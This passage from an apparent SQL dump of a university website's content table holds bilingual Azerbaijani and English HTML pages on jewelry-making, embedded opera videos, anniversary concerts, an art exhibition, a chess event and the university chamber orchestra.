times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a href=\"http://www.khazar.org/en/menus/731/sillabuslar\">Syllabus</a><a href=\"http://www.khazar.org/en/menus/731/sillabuslar\"></a></strong></p><div><br></div></div>  <br></div>'),(1083,687,'az','Zərgərlik','Zərgərlik','<div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">ZƏRGƏRLİK</strong>&nbsp;</h3>  <br></div><div><br></div><div><br></div><div><span style=\"font-family:\'times new roman\', times, serif\"><br></span></div><div><span style=\"font-family:\'times new roman\', times, serif\">“Zərgərlik” insanın bəzəyərək istifadə etdiyi əşyalar içərisində metaldan düzəldilmiş məmulatlar əhəmiyyətli yerlərdən birini tutur.&nbsp; “Bədii metal” sənəti Azərbaycan&nbsp; Dekorativ-tədbiqi sənətin əsas qollarında biridir. Bu sənət növü özündə incəsənətimizin bir çox qollarını birləşdirərək sintez yaratmışdır. Bədii metal sənətində əsrlər boyu müxtəlif sənət növləri ilə vəhdət&nbsp; halında tədbiq edilmişdir.  <br></span></div><div><span style=\"font-family:\'times new roman\', times, serif\"><br></span></div><div><span style=\"font-family:\'times new roman\', times, serif\">Məlum olduğu kimi Zərgərlik, incəsənət sahələri içərisində özünəməxsus yeri olan həmişəyaşar milli sərvətlərimizdən biridir. İnsanın onu əhatə edən dünyanı daha yaraşıqlı etmək istəyi kimi təbii ehtiyaclarından doğmuş bu sənət xalqların coğrafi, iqlim, iqtisadiyyat, daha sonra mədəniyyət, din və s. fərqləri fonunda formalaşaraq özündə minilliklərin izlərini daşıyır. Xalqın milli sərvəti olmaqla yanaşı, zərgərlik həm də qədim və gözəl ənənələrin yaşadılmasına və dərk edilməsinə kömək edir. Belə maraqlı və çoxcəhətli sənətin tədrisi, və xüsusən də tələbələrin qiymətləndirilməsi özünəməxsusluğu ilə seçilir.</span></div><div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp; Uzun illər ərzində aparılan arxeoloji qazıntı işləri nəticəsində toplanmiş zəngin maddi mədəni nümunələri içərisinə bəzək eşyalarıda özünə məxsus yer tutur. Bu zəngin bəzək eşyalari bütövlükdə zərgərlik sənəti haqqında fikir söyləməyə imkan verir. Indi təkcə qadin geyimini bəzəyən bəzək eşyalarindan qədim dövrlərdə kişilərdə istifadə edirdilər. Bu ondan irəli gəlirki, həmin dövrdə insanlarin istifadə etdikləri bəzək eşyaları təkcə estetik baxımdan deyil , həmdə dini sitayiş xarakteri daşıyırdı.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp; &nbsp;Dini ideologiyanin formalaşması ilə insanların bəzək eşyalarına olan münasibətləri dəyişmiş, ayin və mövhumi xrakter daışiyan bilərzik , sırğa, muncuq, kəmər və başqa bəzək eşyalari tədricən qadınların əsas bəzəyinə çevrilmişdir.</p><img src=\"/files/image/13_05_22_DSC_00318.jpg\"><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a href=\"http://www.khazar.org/en/menus/731/sillabuslar\">Syllabus</a><a href=\"http://www.khazar.org/en/menus/731/sillabuslar\"></a></strong></p><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div></div>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(1084,677,'az','Layihələr','Layihələr',''),(1085,677,'en','Projects','Projects','<div><br></div><div><br></div>'),(1086,688,'az','Sevil Operası','Sevil Operası','<div><br></div><div><p><strong>Sevil Operası </strong></p><p><strong>1-ci hissə </strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/Dq5CQHC5cqA\" frameborder=\"0\"></iframe><br></div><p><strong>2-ci hissə <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/_e8ZaSvm3sk\" frameborder=\"0\"></iframe></strong></p><p><strong><strong>3-cü hissə <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/MzacFr_docE\" frameborder=\"0\"></iframe></strong></strong></p><p><strong><strong><strong>4-cü hissə <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/FbkS57p4tkw\" frameborder=\"0\"></iframe></strong></strong></strong></p><p><strong><strong><strong><strong>5-ci hissə <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/vh32NiXSA9o\" frameborder=\"0\"></iframe></strong></strong></strong></strong></p>'),(1087,688,'en','Sevil – The Opera','Sevil – The Opera','<div><br></div><div><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#993300;font-size:small\"><strong>Sevil – The Opera</strong></span></p><p><strong></strong></p><p><strong>Part-1</strong></p>  <p><strong> </strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/Dq5CQHC5cqA\" frameborder=\"0\"></iframe><br></div><p><strong><strong>Part-2</strong>  <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/_e8ZaSvm3sk\" frameborder=\"0\"></iframe></strong></p><p><strong><strong><strong>Part-3</strong>  <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/MzacFr_docE\" frameborder=\"0\"></iframe></strong></strong></p><p><strong><strong><strong><strong>Part-4</strong>  <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/FbkS57p4tkw\" frameborder=\"0\"></iframe></strong></strong></strong></p><p><strong><strong><strong><strong><strong>Part-5</strong>  <br><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/vh32NiXSA9o\" frameborder=\"0\"></iframe></strong></strong></strong></strong></p>'),(1088,689,'az',' Arşın mal alan',' Arşın mal alan','<p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#993300;font-size:small\"><strong>Arşın Mal Alan</strong></span></p><p><strong></strong></p><p><strong>1-ci hissə</strong></p>  <p><strong></strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/ljpORfw5vQI\" frameborder=\"0\"></iframe><br><p><strong><strong>2-ci hissə</strong>  </strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/3wa-7LrDoHc\" frameborder=\"0\"></iframe><br><p><strong><strong>3-cü hissə</strong>  </strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/buQNuSsXDos\" frameborder=\"0\"></iframe><br><p><strong><strong>4-cü hissə</strong>  </strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/xz6OHsS5l34\" frameborder=\"0\"></iframe><br><p><strong><strong>&nbsp;5-ci hissə</strong>  </strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/-gXjbxjtN6w\" frameborder=\"0\"></iframe>'),(1089,689,'en','Arshin Mal Alan','Arshin Mal Alan','<p><strong>Arshin Mal Alan</strong></p><p><strong>Part-1</strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/ljpORfw5vQI\" frameborder=\"0\"></iframe><br><p><strong>Part-2</strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/3wa-7LrDoHc\" frameborder=\"0\"></iframe><br><p><strong>Part-3</strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/buQNuSsXDos\" frameborder=\"0\"></iframe><br><p><strong>Part-4</strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/xz6OHsS5l34\" frameborder=\"0\"></iframe><br><p><strong>Part-5</strong></p><p><strong><br></strong></p><iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/-gXjbxjtN6w\" frameborder=\"0\"></iframe>'),(1090,678,'en','Publications','Publications','<div><br></div><div><span style=\"font-family:\'times new roman\', times, serif\">(Information coming soon!)</span>  <br></div>'),(1091,678,'az','Nəşrlər','Nəşrlər','<div><br></div><div><span style=\"font-family:\'times new roman\', times, serif\">(Təzliklə!)</span>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(1092,679,'en','Khazar University Chamber Orchestra','Khazar University Chamber Orchestra','<div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><img src=\"/files/image/14_01_21_KAMERA_ORKESTRASI_LOGO.jpg\" style=\"width:150px;height:141px;margin:7px;float:left\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src=\"/files/image/14_02_11_kollektiv.JPG\" style=\"width:150px;height:99px;margin:7px;float:left\">&nbsp; &nbsp;<img src=\"/files/image/14_02_11_kollektiv_(.JPG\" style=\"width:150px;height:99px;margin:7px;float:left\"></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p><br></p></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/14_02_05_3.jpg\" style=\"width:150px;height:254px;margin:7px;float:left\"><br></div><div> <p><strong>HƏZİYEV&nbsp; ELXAN</strong><strong><br></strong><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">15 dekabr 1966-cı ildə Azərbaycanın Zəngilan rayonunun Mincivan qəsəbəsində anadan olmuşdur. İlk musiqi təhsilini 1973-84 illərdə Bülbül adına orta ixtisas musiqi məktəbində almış, 1984-91-ci illərdə Üzeyir Hacıbəyov adına Azərbaycan Dövlət Konservatorıyasını bitirmiş, tam ali təhsil almışdır.1984-86-cı illərdə həqiqi hərbi xidmətdə olmuşdur.&nbsp;1992-ci ildə Azərbaycan respublikasının ərazi bütövlüyü uğrunda gedən döyüşlərdə iştrak etmişdir.&nbsp;1988-90-cı illərdə Moskva şəhərində keçirilən Beynəlxalq Musiqi festivallarında xüsusi mükafata layiq görülmüşdür.Azərbaycan Dövlət Xalq Çalğı Alətləri Orkestrinin tərkibində çalışdığı illərdə bir çox beynəlxalq festival və müsabiqələrin iştrakçısı olmuşdur.Fransa,Belarusiya,Moldova,Ukraina,İran İslam Respublikası, Tacikistan kimi ölkələrdə Azərbaycan mədəniyyəti günlərində iştrak etmişdir.Hal hazırda Xəzər Universitetinin Kamera ansanblında çalışır.</span></p><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><p style=\"font-family:\'times new roman\', times, serif\"><br></p></div><div><br></div>'),(1949,1192,'en','Khazar University’s 25th Anniversary Concert','On June 9th, a solo concert of the student dance ensemble was held in the Concert Hall on Khazar University’s Downtown Campus in honor of the university’s 25th anniversary. The concert was organized by the Department of Music and Fine Arts','<p>On\r\nJune 9th, a solo concert of the student dance ensemble was held in the Concert\r\nHall on Khazar University’s Downtown Campus in honor of the university’s 25<sup>th</sup>\r\nanniversary. The concert was organized by the Department of Music and Fine\r\nArts. The audience included university administrators, faculty and staff,\r\nstudents, and parents. People’s Artists Roza Jalilova and Jamila Bayramova as\r\nwell as Meritorious Artist Khanlar Bashirov also attended. Muslum Magomayev\r\nAzerbaijan State Philharmonic’s Song and Dance Ensemble came to congratulate\r\nKhazar University. </p>\r\n<p>Associate Professor Zulfiyya Sadigova,\r\nHead of the Department of Music and Fine Arts, opened the event. Then “Gazaghi”\r\nwas performed by Muslum Magomayev Azerbaijan State\r\nPhilharmonic’s Song and Dance Ensemble (Artistic Director- People’s Artist\r\nProfessor Aghaverdi Pashayev, Choreographer – People’s Artist Jamila Bayramova,\r\nsoloist – Khazar University instructor Telman Aliyev). </p>\r\n<p>Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, made a speech in which\r\nhe spoke about the university’s achievements in music and the arts alongside\r\neducation in the past years. He also especially noted the contributions of People’s\r\nArtist Jamila Bayramova and Meritorious Artist Khanlar Bashirov. </p>\r\n<p>A slideshow and video of the university dance\r\nensemble’s activities were shown. People’s Artist Jamila Bayramova and\r\nMeritorious Artist Khanlar Bashirov performed “Naz eleme,” and university\r\nalumna Zarina Tahmazova performed “Gavalla Dance.” </p>\r\n<p>Then the student dance ensembles led by instructors\r\nSabina Ismailova and Meritorious Artist Telman Aliyev performed a concert.\r\nStudents performed Azerbaijan national dances and modern dances.</p>\r\n<p>People’s Artist Roza Jalilova made a speech to close\r\nthe event, congratulating the university on its 25<sup>th</sup> anniversary.\r\nThen performers were introduced and given flowers.&nbsp;</p>'),(1950,1192,'az','Xəzər Universitetinin 25 illiyinə həsr olunmuş konsert ','İyunun 9-da  Xəzər Universitetinin Mərkəz kampusunun konsert salonunda Musiqi və incəsənət departamentinin təşkilatçılığı ilə tələbələrdən ibarət rəqs ansamblının universitetin 25 illiyinə həsr olunmuş növbəti solo konserti oldu','<p>İyunun 9-da&nbsp; Xəzər Universitetinin Mərkəz\r\nkampusunun konsert salonunda Musiqi və incəsənət departamentinin təşkilatçılığı\r\nilə tələbələrdən ibarət rəqs ansamblının universitetin 25 illiyinə həsr olunmuş\r\nnövbəti solo konserti oldu. Konsertdə universitetin rəhbərliyi, əməkdaşları, tələbələri,\r\nvalideynlər iştirak edirdilər. Xalq artistləri Roza Cəlilova, Cəmilə Bayramova,\r\nəməkdar artist Xanlar Bəşirov tədbirin qonaqları idilər. Müslüm Maqomayev adına\r\nAzərbaycan Dövlət Filarmoniyasının Mahnı və Rəqs Ansamblı da Xəzər\r\nUniversitetini təbrik etməyə gəlmişdi.</p>\r\n<p>Musiqi və incəsənət departamentin müdiri dosent\r\nZülfiyyə Sadıqovanın giriş sözündən sonra&nbsp; Müslüm Maqomayev adına Azərbaycan\r\nDöövlət Filarmoniyasının Mahnı və Rəqs Ansamblı (bədii rəhbər&nbsp; xalü\r\nartisti professor Ağaverdi Paşayev, baletmeyster xalq artisti Cəmilə Bayramova,\r\nsolist və quruluşçu ansamblın solisti, Xəzər Universitetinin müəllimi Telman\r\nƏliyev) tədbiri açaraq, “Qazağı” rəqsini ifa etdi. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı&nbsp; çıxış edərək, universitetdə ötən\r\nillər ərzində təhsillə yanaşı musiqi və incəsənət sahəsində görülmüş işlərdən\r\ndanışdı, xalq artisti Cəmilə Bayarmova və əməkdar artist Xanlar Bəşirovun xidmətlərini\r\nxüsusi vurğuladı.</p>\r\n<p>Universitetin rəqs ansamblının fəaliyyətini əks\r\netdirən slayd&nbsp; və videomateraillar nümayiş olundu.</p>\r\n<p>Xalq artisti Cəmilə Bayramova və əməkdar artist\r\nXanlar Bəşirov&nbsp; “Naz eləmə”, universitetin məzunu Zərinə Təhməzova\r\n“Qavalla rəqs” rəqslərini ifa etdilər.</p>\r\n<p>Sonra universitetin müəllimi Səbinə İsmayıova və əməkdar\r\nartist Telman Əliyevin rəhbərlik etdikləri rəqs ansamlının konserti oldu. Tələbələr\r\nAzərbaycan milli rəqslərini, müasir rəqsləri ifa etdilər. Ustad rəqqasların və\r\ntələbələrin ifalarə tamaşaçılar tərəfindən alğışlarla qarşılandı.</p>\r\n<p>Xalq artisti Roza Cəlilova çıxıç edərək, tələbə rəqqasların\r\nkonsertini yüksək qiymətləndirdi, universiteti 25 illik yubileyi münasibətilə təbrik\r\netdi.</p>\r\n<p>Sonda konsert iştirakçıları səhnəyə dəvət edilərək,\r\ntamaşaçılara təqdim olundular və onlara gül dəstələri verildi.</p>'),(1951,1193,'az','“Dünya” məktəbində şahmat bayramı keçiriləcək','2016-cı il iyunun 13-ü saat 11:00-da Xəzər Universiteti “Dünya” məktəbinin idman kompleksində şahmat senası (eynizamanlı oyun) keçiriləcək...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil iyunun 13-ü saat 11:00-da Xəzər Universiteti “Dünya” məktəbinin idman\r\nkompleksində şahmat senası (eynizamanlı oyun) keçiriləcək. Seansı şahmat üzrə\r\nFİDE ustası “Dünya” məktəbinin müəllimi Elşad Rzayev keçirəcəkdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Şahmat\r\nseansına “Dünya” məktəbi şagirdlərinin valideynləri, Xəzər Universitetinin müəllim\r\nvə tələbələri, müxtəlif yaş qrupları üzrə respublika çempionları və\r\nmükafatçıları dəvətlidirlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Şahmat\r\nseansında iştirak etmək istəyənlər 2016-cı il iyunun 11-dək qeydiyyatdan keçə\r\nbilərlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Qeydiyyat\r\nüçün bu telefonlarla əlaqə saxlamaq lazımdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">(+994\r\n70) 844 08 88 (mobil); </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">(+994\r\n12) 563 40 47/48 (iş).</p>'),(1952,1193,'en','Dunya School to Celebrate Chess Holiday','On June 13, 2016 at 11:00, a chess match (synchronous play) will be held in the sports facility of Khazar University’s affiliate Dunya School. Elshad Rzayev...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On June 13, 2016 at 11:00, a chess match\r\n(synchronous play) will be held in the sports facility of Khazar University’s\r\naffiliate Dunya School. Elshad Rzayev, FIDE chess master and Dunya School\r\nteacher, will referee the match. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Dunya pupils and parents, Khazar\r\nUniversity instructors and students, and national champions of various age\r\ngroups are invited to attend. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Anyone wishing to play in the match\r\nshould register before June 11, 2016, by calling one of the following numbers: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">(+994 70) 844 08 88 (mobile); </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">(+994 12) 563 40 47/48 (work).</p>'),(1953,1194,'en','Art Exhibition in Honor of Khazar University’s 25th Anniversary','On June 8, 2016, an art exhibition coordinated by the Department of Music and Fine Arts was held in Khazar University’s Marble Hall in honor of the university’s 25th anniversary. ','<p>On\r\nJune 8, 2016, an art exhibition coordinated by the Department of Music and Fine\r\nArts was held in Khazar University’s Marble Hall in honor of the university’s\r\n25th anniversary. University administrators, staff members, students and guests\r\nparticipated in the event. </p>\r\n<p>Afag\r\nKarimova, designer and university instructor, opened the event with information\r\nabout the exhibition. Then Dr. Kubra Aliyeva, art scholar; Asif Azarelli,\r\nMeritorious Artist; Dr. Esmira Fuad of Nizami Literature Institute of ANAS; Dr.\r\nTelman Ibrahimov, Director of Azim Azimzada Baku Art School; Meritorious Artist\r\nRais Rasulzada; and artist Rafael Alizadeh made speeches, shared their opinions\r\nof the student works, and congratulated the university on its 25th anniversary.\r\n</p>\r\n<p>Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, noted that the university not only gives students\r\nprofessional education; it also strives to improve their cultural knowledge and\r\nformation of their sense of aesthetics. </p>\r\n<p>After a brief concert by\r\nthe Khazar University Chamber Orchestra, students presented their works one by\r\none and were presented certificates “for Successful Art Works in Honor of\r\nKhazar University’s 25<sup>th</sup> Anniversary.” &nbsp;Rais\r\nRasulzada, Asif Azarelli, and Rafael Alizadeh handed out the certificates.&nbsp;</p>'),(1954,1194,'az','Xəzər Universitetinin 25 illiyinə həsr olunmuş yaradıcılıq sərgisi','İyunun 8-də Xəzər Universitetinin Mərmər zalında Musiqi və incəsənət departamentinin təşkilatçılığı ilə universitetin 25 illiyinə həsr olunmuş tələbələrin rəsm əsərlərindən ibarət sərgi təşkil edildi.','<p>İyunun 8-də Xəzər Universitetinin Mərmər zalında\r\nMusiqi və incəsənət departamentinin təşkilatçılığı ilə universitetin 25 illiyinə\r\nhəsr olunmuş tələbələrin rəsm əsərlərindən ibarət sərgi təşkil edildi. Tədbirdə\r\nuniversitetin rəhbərliyi, əməkdaşlar və tələbələr, qonaqlar&nbsp; iştirak\r\nedirdilər.</p>\r\n<p>Tədbiri Universitetin müəllimi, rəssam Afaq Kərimova\r\naçaraq, sərgi haqqında iştirakçılara məlumat verdi. Sonra&nbsp; sənətşünas,\r\nelmlər doktoru Kübra Əliyeva, əməkdar rəssam Asif Azərelli, AMEA Nizami adına\r\nƏdəbiyyat İnstitutunun əməkdaşı, elmlər doktoru Esmira Fuad, Əzim Əzimzadə\r\nadına Bakı Rəssamlıq Məktəbinin direktoru, elmlər doktoru Telman İbrahimov, əməkdar\r\nrəssam Rəis Rəsulzadə, rəssam Rafael Əlizadə çıxış edərək, tələbələrin rəsm əsərləri\r\nhaqqında&nbsp; fikirlərini bildirdilər, universiteti 25 illiyi münasibətilə təbrik\r\netdilər. </p>\r\n<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı çıxışında qeyd etdi ki, universitetdə\r\ntələbələrə peşə ixtisası verilməklə yanaşı, onların mədəni səbiyəsinin yüksəldilməsi,\r\nestetik zövqlərinin formalaşdırılması sahəsində də ciddi iş aparılır.</p>\r\n<p>Tədbir iştirakçıları universitetin Kamera\r\norkestrinin kiçik konsertini dinlədikdən sonra tələbələr bir-bir öz işlərini təqdim\r\netdilər və onlara “Xəzər Universitetinin 25 illiyi münasibətilə tələbələrin\r\nuğurlu rəsm əsərlərinə görə” sertifikatı təqdim olundu. Sertifikatları rəssamlar\r\nRəis Rəsulzadə, Asif Azərelli və Rafael Əlizadə təqdim etdilər.</p>'),(1093,679,'az','Xəzər Universiteti Kamera Ansamblı','Xəzər Universiteti Kamera Ansamblı','<div><br></div><div><div><strong><em><img src=\"/files/image/14_01_21_KAMERA_ORKESTRASI_LOGO.jpg\" style=\"width:250px;height:235px;margin:7px;float:left\"><br></em></strong></div><div><strong><em>Kamera orkestri</em></strong></div><div><p>&nbsp;</p><p>&nbsp;&nbsp; Qədim tarixi Misirdən başlayan orkestr Azərbaycanda ilk dəfə 1920-ci ildə yaradılmışdır. Tezliklə repertuarını zənginləşdirən orkestr dünyanın tanınmış bəstəkarlarının musiqilərinin ifa etməyə başladı.</p><p>&nbsp; Xəzər Unuversitetində fəaliyyət göstərən orkestr universitetin tədbirlərində Azərbaycan və dunya bəstəkarlarının musiqi nömrələrini ifa edərək zövqləri oxşayır. Yeni yaranmasına baxmayaraq bu musiqi növü artıq repertuarını xeyli zənginləşdirmişdir.</p><p>Azərbaycan Respublikasının Gənclər və İdman Nazirliyi və Azərbaycan Respublikasının Təhsil Nazirliyi ilə birgə Azərbaycanın müxtəlif bölgələrində &nbsp;keçirlən “Tələbə Baharı” tələbələrin Beynəlxaq Yaradıcılıq Festivalında Xəzər Universitetinin orkestri I yerə layiq görülmüşdür.</p><p>Universitetin orkestri Türkiyənin Ankaranın Hacettepe Konservatoriyasında, Kahramanmaraş Sütçü İmam Universitəsi, Kayserinin Erciyez Universitəsinin böyük konsert salonlarında uğurla çıxış etmişlər. Dekabrın 19-da “Art Garden” İncəsənət Mərkəzində “Şirvanşahlar Sarayı Kompleksi” Dövlət Tarixi-Memarlıq Qoruq –Muzeyi ilə Xəzər Universitetinin Musiqi və İncəsənət departamentinin 31 dekabr Dunya Azərbaycanlılarının Həmrəylik gününə həsr olunmuş birgə layihəsi- “Vətənim mənim” adlı tədbir keçirildi. 2014-cü ildə Ərciyəz və Xəzər Universtəsinin “21 –ci əsrin pəncərəsindən mədəniyyət və kimlik” adlı beynəlxalq simpozium, 2015 –ci ildə isə Xəzər Universiteti Texno-Parkı və Türkiyə MİTEK şirkətlər qrupunun birgə fəaliyyətinə həsr edilmiş konfransın açılışında, Potensial Məktəb Direktorlarının Məktəbin İdarəedilməsi üzrə peşəkar ixtisas sertifikatlarının təqdim etmə mərasimində konsert proqramları ilə çıxış etmişlər. 2015-ci il sentyabr ayının 21-de Heydər Əliyev fondu və mədəniyyət və turizm nazirliyinin tərəfindən təşkil olunmuş Üzeyir Hacıbəylinin 130 illiyinə həsr olunmuş VII beynəlxalq musiqi festivalında, 13 noyabrda “Dərsliklərin yazılması və qiymətləndirilməsi” təliminin açılış mərasimində, 16 noyabr tarixində Xəzər universitetinin mərmər zalında ABŞ-ın Azerbaycandakı səfirliyi ilə birgə təşkil olunmuş Gabrielle Stravelli caz qrupu Xəzər universitetinin mərmər zalında, 17 noyabrda isə həmin caz qrupu ilə birgə milli incəsənət muzeyində çıxış etmişdirlər.</p><p>&nbsp;Bunlardan əlavə orkestr Azərbaycanın tanınmış mədəniyyət xadimləri xalq artistləri Samir Cəfərov, Fidan Hacıyeva, Nəzakət Teymurova, skripkaçı Oleq Paxanovski (Kanada), vokalçı cazzmen Gabrielle Stravellini müşayət etmişlər.</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 26 dekabr 2015-ci il tarixdə Xəzər Universitetini müxtəlif illərdə bitirmiş məzunlarla keçirilən görüşün açılış mərasimində, 29 yanvar 2016-cı ildə Avrasiya Akademiyasının təntənəli açılış mərasimində çıxış etmişdirlər. (LİNK) 14 fevral Bakı Beynəlxalq Multikulturalizm Mərkəzi(BBMM), Azərbaycan Respublikasının Prezidenti yanında Bilik Fondu və Bakı Slavyan Universitetinin birgə təşkilatçılığı ilə keçirilən “Multikulturalizm Azərbaycanda həyat tərzi kimi: öyrən, araşdır, paylaş-2016” adlı Beynəlxalq Multikulturalizm Qış Məktəbinin iştirakçıları üçün keçirilən böyük tədbirdə konsert proqramı ilə çıxış etmişlər.(LİNK)</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 mart Hamlet İsaxanlıya həsr olunmuş tədbirdə, 5 mart 2016-cı il Təhsil Nazirliyinin keçirdiyi “Təhsil ağlın simasıdır” adlı olimpiada qaliblərinin mükafatlandırma mərasimində, 8 mart Qadınlar gününə həsr olunmuş bayram konsertində, 11 mart 2016-cı il Prof. M. Nuriyevin yubiley gecesinə həsr olunmuş konsertdə, 25 aprel Asəf Zeynallı adina musiqi kollecinin konsert salonunda Xəzər universitetinin 25 illiyinə həsr olunmuş konsert proqramında, 28 aprel 2016-cı ildə Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursunun diplom verilmə mərasimində,&nbsp; 12 may 2016-cı ildə İctimai televiziya kanalında, 17-18 may 2016-ci ildə Turkiyə Cumhuriyyətinin Kahramanmaraş şəhəri Sütcü İmam Universitəsində, 2 iyun 2016-cı ildə Sumqayıt şəhəri “28 may” mədəniyyət evində, 16 iyun 2016-cı ildə Xəzər universitetinin 25 illiyinə həsr olunmuş yekun qala konsertində solo proqramlarla cıxış etmişlər.</p><p>Azərbaycandakı ABŞ səfirlyində keçirilən Amerikanın müstəqillik gününə həsr olunmuş, Böyük Britaniya səfirliyində kralıça Yelizavetanın doğum gününə həsr olunmuş tədbirlərin aparıcı qüvvəsi hesab edilən Xəzər Universitetinin kamera orkestri bir daha profisional tərkibə malik olduğunu sübut edir. (LİNK)</p><p><img src=\"http://www.khazar.org/files/image/KAMERA_ORKESTR%C4%B0.JPG\" style=\"border:0px  #000000;width:650px;height:340px;margin:7px;float:left\"></p><div><br></div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/14_02_05_3.jpg\" style=\"border:0px  #000000;width:150px;height:254px;margin:7px;float:left\"><br></div><div><p><strong>HƏZİYEV&nbsp; ELXAN</strong><strong><br></strong>15 dekabr 1966-cı ildə Azərbaycanın Zəngilan rayonunun Mincivan qəsəbəsində anadan olmuşdur. İlk musiqi təhsilini 1973-84 illərdə Bülbül adına orta ixtisas musiqi məktəbində almış, 1984-91-ci illərdə Üzeyir Hacıbəyov adına Azərbaycan Dövlət Konservatorıyasını bitirmiş, tam ali təhsil almışdır.1984-86-cı illərdə həqiqi hərbi xidmətdə 